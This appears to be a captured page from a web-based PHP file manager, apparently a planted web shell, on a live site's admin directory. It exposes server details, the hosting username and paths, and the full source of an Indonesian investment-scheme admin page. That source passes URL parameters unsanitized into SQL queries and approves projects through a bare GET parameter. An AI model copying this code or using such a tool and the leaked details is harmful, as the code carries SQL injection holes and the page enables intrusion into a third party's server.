Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-611.26.1.el9_7.x86_64

PHP Version:

8.2.30

User:

u216334730

Directory:

/home/u216334730/domains/superpren.com/public_html/admin

Free Space:

14.9 TB

🔧 Quick Actions

✏️ Editing: detail_project_member2.php

<?php
session_start();
include "fileutama/koneksi.php";
?>
<!doctype html>
<html lang="en">

<head>
        <meta charset="utf-8" />
        <title>Detail Project Member | ADMIN </title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta content="Premium Multipurpose Admin & Dashboard Template" name="description" />
        <meta content="Themesdesign" name="author" />
        
        <link rel="shortcut icon" href="../gambar/logod2c.png">

<link href="assets/libs/air-datepicker/css/datepicker.min.css" rel="stylesheet" type="text/css" />

<link href="assets/libs/jqvmap/jqvmap.min.css" rel="stylesheet" />

<link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
        
        <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" />
        
        <link href="assets/css/app.min.css" rel="stylesheet" type="text/css" />

<link href="assets/libs/datatables.net-bs4/css/dataTables.bootstrap4.min.css" rel="stylesheet" type="text/css" />
        <link href="assets/libs/datatables.net-buttons-bs4/css/buttons.bootstrap4.min.css" rel="stylesheet" type="text/css" />

<link href="assets/libs/datatables.net-responsive-bs4/css/responsive.bootstrap4.min.css" rel="stylesheet" type="text/css" />

</head>

<div id="layout-wrapper">

<?php
            include "fileutama/header.php";
            include "fileutama/sidebar.php";

$id_project_member=$_GET['id_project_member'];
            $sp2=mysqli_query($koneksi,"select * from project_member where id_project_member='$id_project_member'")or die(mysqli_error($koneksi));
            $tp2=mysqli_fetch_array($sp2);
            $id_member=$tp2['id_member'];
            $sts_balik_modal=$tp2['sts_balik_modal'];

$smem=mysqli_query($koneksi,"select * from member where id_member='$id_member' and sts_aktif='1'")or die(mysqli_error($koneksi));
            $tmem=mysqli_fetch_array($smem);
           	$id_user=$tmem['id_user'];
           	$suser=mysqli_query($koneksi,"select * from user where id_user='$id_user'")or die(mysqli_error($koneksi));
            $tuser=mysqli_fetch_array($suser);

$sbbp=mysqli_query($koneksi,"select * from bukti_bayar_project where id_project_member='$id_project_member'")or die(mysqli_error($koneksi));
            $tbbp=mysqli_fetch_array($sbbp);

$upline=$tmem['upline'];

$jangka_pengembalian=$tp2['jangka_pengembalian'];
            $kode_project=$tp2['kode_project'];
            $sp=mysqli_query($koneksi,"select * from project where kode_project='$kode_project'")or die(mysqli_error($koneksi));
            $tp=mysqli_fetch_array($sp);
            $qty=$tp2['qty'];

$durasi=$tp2['durasi'];
            $harga_lot=$tp2['harga_lot'];

$total_invest=$harga_lot*$qty;
            $bagi_hasil_persen=$tp2['persen_bagi_hasil'];
            $bagi_hasil_nominal=$tp2['nominal_bagi_hasil'];

$bagi_hasil_upline_persen=$tp2['persen_bagi_hasil_upline'];
            $bagi_hasil_upline_nominal=$tp2['nominal_bagi_hasil_upline'];

if($tp['sts_balik_modal']=="Iya")
            {
                $total_pengembalian=$total_invest+($bagi_hasil_nominal*$durasi);
            }
            elseif($tp['sts_balik_modal']=="Tidak")
            {
                $total_pengembalian=($bagi_hasil_nominal*$durasi);
            }

<div class="main-content">

<div class="page-content">
                    
                    <div class="page-title-box" style="background-color:#565656;padding:18px 12px 18px 12px">
                        <div class="container-fluid">
                            <div class="row align-items-center">
                                <div class="col-md-8">
                                    <h4 class="page-title mb-1">Detail Project Member</h4>
                                    <ol class="breadcrumb m-0">
                                    <li class="breadcrumb-item active">Menunggu Konfirmasi Admin</li>
                                    </ol>
                                </div>
                                <div class="col-md-4">
                                </div>
                            </div>

</div>
                    </div>

<div class="row">
    <div class="col-md-6">
    	<div style="padding:10px;border-radius: 10px;border:1px solid #eaeaea">
            
        <b>Nama</b>
        <br/>
        <a href="detail_user.php?id_user=<?php echo $tuser['id_user'];?>">
        <?php echo $tuser['nama'];?>
        </a>
        <Br/>
        <Br/>
        <b>Telp</b>
        <br/>
        <?php echo $tuser['hp'];?>
        <br/>
        <br/>
        <b>Email</b>
        <br/>
        <?php echo $tuser['email'];?>
        <Br/>
        <Br/>
        <b>Jenis Kelamin</b>
        <br/>
        <?php echo $tuser['jeniskelamin'];?>
           
        
        </div>
    </div>
    <div class="col-md-6">
    	<div style="padding:10px;border-radius: 10px;border:1px solid #eaeaea">
          
     	
     	<b>Status</b>
	    <?php
	    switch ($tp2['status']) 
	    {
	        case 'Baru':
	            ?>
	            <div style="background: #e9a100;font-size: 18px;padding: 10px;border-radius: 10px;color: white">Menunggu Pembayaran</div>
	            <?php
	            break;

case 'Menunggu Konfirmasi Admin':
	            ?>
	            <div style="background: #0300a5;font-size: 18px;padding: 10px;border-radius: 10px;color: white">Menunggu Konfirmasi Admin</div>
	            <?php
	            break;
	        case 'Aktif':
	            ?>
	            <div style="background: green;font-size: 18px;padding: 10px;border-radius: 10px;color: white">Project Aktif Berjalan</div>
	            <?php
	            break;    
	        case 'Ditolak':
	            ?>
	            <div style="background: red;font-size: 18px;padding: 10px;border-radius: 10px;color: white">Project Ditolak</div>
	            <?php
	            break;  
	        case 'Selesai':
	            ?>
	            <div style="background: grey;font-size: 18px;padding: 10px;border-radius: 10px;color: white">Project Selesai</div>
	            <?php
	            break;            
	    }
	    ?> 
       
        <table>
        	<tr>
        		<td>Tanggal Buat</td>
        		<td style="padding: 10px">:</td>
        		<td><?php echo $tp2['waktu_buat'];?></td>
        	</tr>
        
    		<tr>
        		<td>Bukti Transfer</td>
        		<td style="padding: 10px">:</td>
        		<td><a href="gambar/project/buktiproject/<?php echo $tbbp['bukti_transfer'];?>" target="_blank">Lihat Bukti Bayar</a></td>
        	</tr>
        	
        </table>
       
     	<Br>
     
        </div>
    </div>
    </div>

</div>
</div>

<h4>Project Member</h4>
    
    <br/>
    <h1><a href="detail_project.php?kode_project=<?php echo $kode_project;?>"  style="color: black"><?php echo $tp['judul']; ?></a></h1>
                
    <div style="border:1px solid #eaeaea;border-radius: 10px;width: 100%;padding: 10px;background: #ffdede">
        <table style="width: 100%;text-align: center;">
            <tr>
                <td>
                    <b>Total Invest</b>
                    <br/>
                    <?php echo formatRupiah($total_invest);?>
                </td>
                <td  style="vertical-align: middle;">
                    <i class="bi bi-arrow-right"></i>
                </td>
                <td>
                    <b>Invest +  Profit</b>
                    <br/>
                    <?php 
                    
                    echo formatRupiah($total_pengembalian);
                    ?>
                </td>
            </tr>
        </table>
        
    </div>
    <br/>
    <table class="table" style="width: 100%">
        <tr>
            <TD style="text-align: left;">Harga 1 Lot</TD>
            <TD style="text-align: right;"><?php echo formatRupiah($tp['harga_lot']);?></TD>
        </tr>
        <tr>
            <TD style="text-align: left;">Qty</TD>
            <TD style="text-align: right;"><b style="font-size: 19px;color: red"><?php echo $qty;?> Lot</b></TD>
        </tr>
        <tr>
            <TD style="text-align: left;">Total Invest</TD>
            <TD style="text-align: right;"><?php echo formatRupiah($total_invest);?></TD>
        </tr>
        <tr>
            <TD style="text-align: left;">Bagi Hasil Project</TD>
            <TD style="text-align: right;"><?php echo $bagi_hasil_persen;?>%</TD>
        </tr>
        <tr>
            <TD style="text-align: left;"><b>Nominal Bagi Hasil / Bln</b></TD>
            <TD style="text-align: right;"><b style="font-size: 19px"><?php echo formatRupiah($bagi_hasil_nominal);?>/Bln</b></TD>
        </tr>
        <tr>
            <TD style="text-align: left;"><?php echo $tp2['persen_tunai'];?>% Tunai</TD>
            <TD style="text-align: right;"><?php echo formatRupiah(($tp2['persen_tunai']/100)*$bagi_hasil_nominal);?>/Bln</TD>
        </tr>

<tr>
            <TD style="text-align: left;"><?php echo $tp2['persen_belanja'];?>% Point Belanja</TD>
            <TD style="text-align: right;"><?php echo formatRupiah(($tp2['persen_belanja']/100)*$bagi_hasil_nominal);?>/Bln</TD>
        </tr>

<tr>
            <TD style="text-align: left;">Jangka Pengembalian</TD>
            <TD style="text-align: right;">Per <?php echo $tp2['jangka_pengembalian'];?> Bulan</TD>
        </tr>
        <tr>
            <TD style="text-align: left;">Kontrak Project - Bln</TD>
            <TD style="text-align: right;"><?php echo $tp2['durasi'];?> Bulan</TD>
        </tr>
        <tr>
            <TD style="text-align: left;">Total Bagi Hasil</TD>
            <TD style="text-align: right;"><?php echo formatRupiah($bagi_hasil_nominal*$durasi);?></TD>
        </tr>
        <tr>
            <TD style="text-align: left;">Total Pengembalian Modal</TD>
            <TD style="text-align: right;">
                <?php 
                if($tp['sts_balik_modal']=="Iya")
                {
                    echo formatRupiah($total_invest);
                }
                elseif($tp['sts_balik_modal']=="Tidak")
                {
                    echo "-";
                }
                
                ?>
                    
            </TD>
        </tr>

<tr>
            <TD style="text-align: left;">Total Modal + Bagi Hasil</TD>
            <TD style="text-align: right;"><B style="font-size: 20px;color: red"><?php echo formatRupiah($total_pengembalian);?></B></TD>
        </tr>
        <tr>
            <TD colspan="2" style="background: #eaeaea"></TD>
            
        </tr>
        <tr>
            <TD style="text-align: left;">Bagi Hasil Upline</TD>
            <TD style="text-align: right;"><?php echo $bagi_hasil_upline_persen;?>%</TD>
        </tr>

<tr>
            <TD style="text-align: left;"><b>Nominal Bagi Hasil Upline / Bln</b></TD>
            <TD style="text-align: right;"><b><?php echo formatRupiah($bagi_hasil_upline_nominal);?>/Bln</b></TD>
        </tr>
        <tr>
            <TD style="text-align: left;"><b>Total Bagi Hasil Upline</b></TD>
            <TD style="text-align: right;"><b style="font-size: 19px"><?php echo formatRupiah($bagi_hasil_upline_nominal*$durasi);?></b></TD>
        </tr>

</table>

</div>
                   </div>
                    
                
                <div class="card">
                    <div class="card-body">
                      
					<h4>Pembagian Bagi Hasil Tiap <?php echo $jangka_pengembalian;?> Bulan</h4>        
					<br/>
					<form>
						<table>
							<tr>
								<td>
									Bagi Hasil Secara
									<select name="sts_kirim_dana" class="form-control">
										<option value="Manual">Manual</option>
										<option value="Otomatis">Otomatis</option>
									</select>
								</td>
								<td>
									<br/>
									<input type="submit" name="okstskd" value="Set" class="btn btn-info">
								</td>
							</tr>
						</table>
						
					</form>        
					<br/>    	
                   	<table class="table table-bordered">
                   		<tr>
                   			<TD>No</TD>
                   			<TD>Tanggal Pembagian</TD>
                   			<TD>Bagi Hasil</TD>
                   			<TD>Bagi Hasil Upline</TD>
                   			<TD>Realisasi</TD>
                   			<TD>Status</TD>
                   			<TD>Kirim Dana</TD>
                   			<TD>Detail</TD>
                   			
                   		</tr>
                   	
                    <?php
                    $no=1;
                    $totalbh=0;
                    $totalbhu=0;
                    $sbh=mysqli_query($koneksi,"select * from bagi_hasil_perbulan where id_project_member='$id_project_member' ORDER BY tanggal ASC")or die(mysqli_error($koneksi));
                    while($tbh=mysqli_fetch_array($sbh)) 
                    { 
                    	
                    	$totalbh=$totalbh+$tbh['bagi_hasil'];
                        $totalbhu=$totalbhu+$tbh['bagi_hasil_upline'];
                      	
                      	$id_bagi_hasil=$tbh['id'];
                        ?>
                    	<tr>
                    		<td><?php echo $no;?></td>
                    		<td><?php echo tgl_indo($tbh['tanggal']);?></td>
                    		<td><?php echo formatRupiah($tbh['bagi_hasil']);?></td>
                    		<td><?php echo formatRupiah($tbh['bagi_hasil_upline']);?></td>
                    		<td></td>
                    		<td>
                                <?php 
                                switch ($tbh['status']) {
                                    case 'Belum':
                                        ?>
                                        <b style="color: red">Belum</b>
                                        <?php
                                        break;
                                    
                                    case 'Berhasil':
                                        ?>
                                        <b style="color: green">Berhasil</b>
                                        <?php
                                        break;
                                }

?>      
                            </td>
                    		<td>
                    			<?php 
                    			switch ($tbh['sts_kirim_dana']) {
                    				case 'Manual':
                    					?>
                    					<b style="color: red">Manual</b>
                    					<?php
                    					break;
                    				
                    				case 'Otomatis':
                    					?>
                    					<b style="color: blue">Otomatis</b>
                    					<?php
                    					break;
                    			}

?>
                    			
                    		</td>
                    		<td>
                    			<a href="detail_bagi_hasil.php?id=<?php echo $id_bagi_hasil;?>" class="btn btn-info">Detail</a>
                    		</td>
                    		
                    	</tr>
                    	<?php

$no++; 
                    }
                    if($sts_balik_modal=="Iya")
                    {
                    	
	                    	$totalbh=$totalbh+($total_invest);
	                    	?>
	                    	<tr>
	                    		<td><?php echo $no;?></td>
	                    		<td><?php echo tgl_indo($waktu_pembagian);?></td>
	                    		<td>
	                    			Balik Modal
	                    			<br/>
	                    			<?php echo formatRupiah($total_invest);?></td>
	                    		<td></td>
	                    		<td></td>
	                    		<td><?php echo $tbh['status'];?></td>
	                    		<td>
	                    			
	                    		</td>
	                    		<td>
	                    			
	                    		</td>
	                    	</tr>
	                    	<?php
	                 
                    }
                    
                    ?>
                    <tr>
                		<td colspan="2"><b style="color: red">TOTAL</b></td>
                		<td><b style="color: red"><?php echo formatRupiah($totalbh);?></b></td>
                		<td><b style="color: red"><?php echo formatRupiah($totalbhu);?></b></td>
                		<td></td>
                	</tr>
                    </table>

<br/>
<center><b>Rincian Fee ke Upline</b></center>
<?php

if($upline!="")
{
    $maxLevel = 8;
    $currentLevelIds = $upline; // level 1: mulai dari dia sendiri
    $totalupline=0;

for ($level = 1; $level <= $maxLevel; $level++) 
    {
        
        $query = mysqli_query($koneksi, "SELECT member.id_member, user.nama, member.upline FROM member, user WHERE member.id_member='$currentLevelIds' and member.id_user=user.id_user and member.sts_aktif='1'");
        $tquery=mysqli_fetch_array($query);

$uplinemember[$level]=$tquery[0];
        $namauplinemember[$level]=$tquery[1];
        $currentLevelIds=$tquery[2];
        
        if (empty($currentLevelIds)) {
            break; // tidak ada lagi member di level ini
        }
    }

}

$feepermember=(floor($bagi_hasil_upline_nominal/8)*$jangka_pengembalian);

$sisafeemember=0;

$feememberbelanja=floor($tweb['pembagian_saldo_belanja']/100*$feepermember);
$feemembercash=floor($tweb['pembagian_saldo_tunai']/100*$feepermember);
?>
<table align="center">
   
    <TR>
        <td style="vertical-align: top;">
            <table class="table table-bordered">
                <tr>
                    <td>Upline</td>
                    <td>FeeMember</td>
                    <td>Cash</td>
                    <td>Belanja</td>
                    <td>Sisa Pembulatan</td>
                </tr>
                <?php
                for ($a=1; $a <=8 ; $a++) 
                { 
                    
                    ?>
                    <tr>
                        <td>SP<?php echo $a;?>
                        <?php
                 
                        $gg=$feepermember;

if($a<=$level)
                        {
                            ?>
                            <br/>
                            <?php
                            $mm=$uplinemember[$a];
                            $sq=mysqli_query($koneksi,"select id_user from member where id_member='$mm'");
                            $tq=mysqli_fetch_array($sq);
                            $idu=$tq[0];
                            echo "<a href='detail_user.php?id_user=".$idu."' style='color:red'>".$namauplinemember[$a] . "</a><br>";
                            ?>
                            <?php
                        }
                        else
                        {
                            echo "<br/>+ Fee Sistem";
                            $sisafeemember=$sisafeemember+$gg;
                        }
                        ?>
                            
                        </td>
                   
                        
                        <td><?php echo formatRupiah($feepermember);?></td>
                        <td><?php echo formatRupiah($feemembercash);?></td>
                        <td><?php echo formatRupiah($feememberbelanja);?></td>
                        <td>
                        	<?php

echo formatRupiah($sisabulan=$feepermember-($feememberbelanja+$feemembercash));
                        	$sisa_pembulatan=$sisa_pembulatan+$sisabulan;
                         	?>
                         	
                        </td>
                        
                        
                            
                   
                        
                    </tr>
                    <?php
                    
                }
                ?>
                <tr>
                    <td colspan="4">
                        Total Sisa Pembulatan : <?php echo formatRupiah($sisa_pembulatan);?>
                        <br/>
                        Total Masuk Saldo Admin : <?php echo formatRupiah($sisafeemember);?>

<br/>
                        <b style="color: red">Total Masuk Fee Sistem : <?php echo formatRupiah($sisafeemember+$sisa_pembulatan);?></b>
                    </td>
                </tr>
            </table>
           
        </td>
    </TR>
   
   
</table>
<?php
if(isset($_GET['terima']))
{
    $tm="+".$durasi." month";
    $sampai_project=date('Y-m-d', strtotime($tm, strtotime($tgl_skrng)));
    mysqli_query($koneksi,"UPDATE `project_member` set `status`='Aktif',`waktu_approve`='$tgl_skrng',`mulai_project`='$tgl_skrng',`sampai_project`='$sampai_project' WHERE id_project_member='$id_project_member'");

?>
    <script type="text/javascript">
        alert("Berhasil Mengaktifkan Project!");
        document.location="detail_project_member.php?id_project_member=<?php echo $id_project_member;?>";
    </script>
    <?php
}
?>

</div>
                </div>

</div>
                
               
                
                
                <?php

include "fileutama/footer.php";
                ?>
            </div>

</div>

<div class="rightbar-overlay"></div>

<script src="assets/libs/jquery/jquery.min.js"></script>
        <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script>
        <script src="assets/libs/metismenu/metisMenu.min.js"></script>
        <script src="assets/libs/simplebar/simplebar.min.js"></script>
        <script src="assets/libs/node-waves/waves.min.js"></script>

<script src="assets/js/pages/datatables.init.js"></script>

</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: detail_project_member2.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation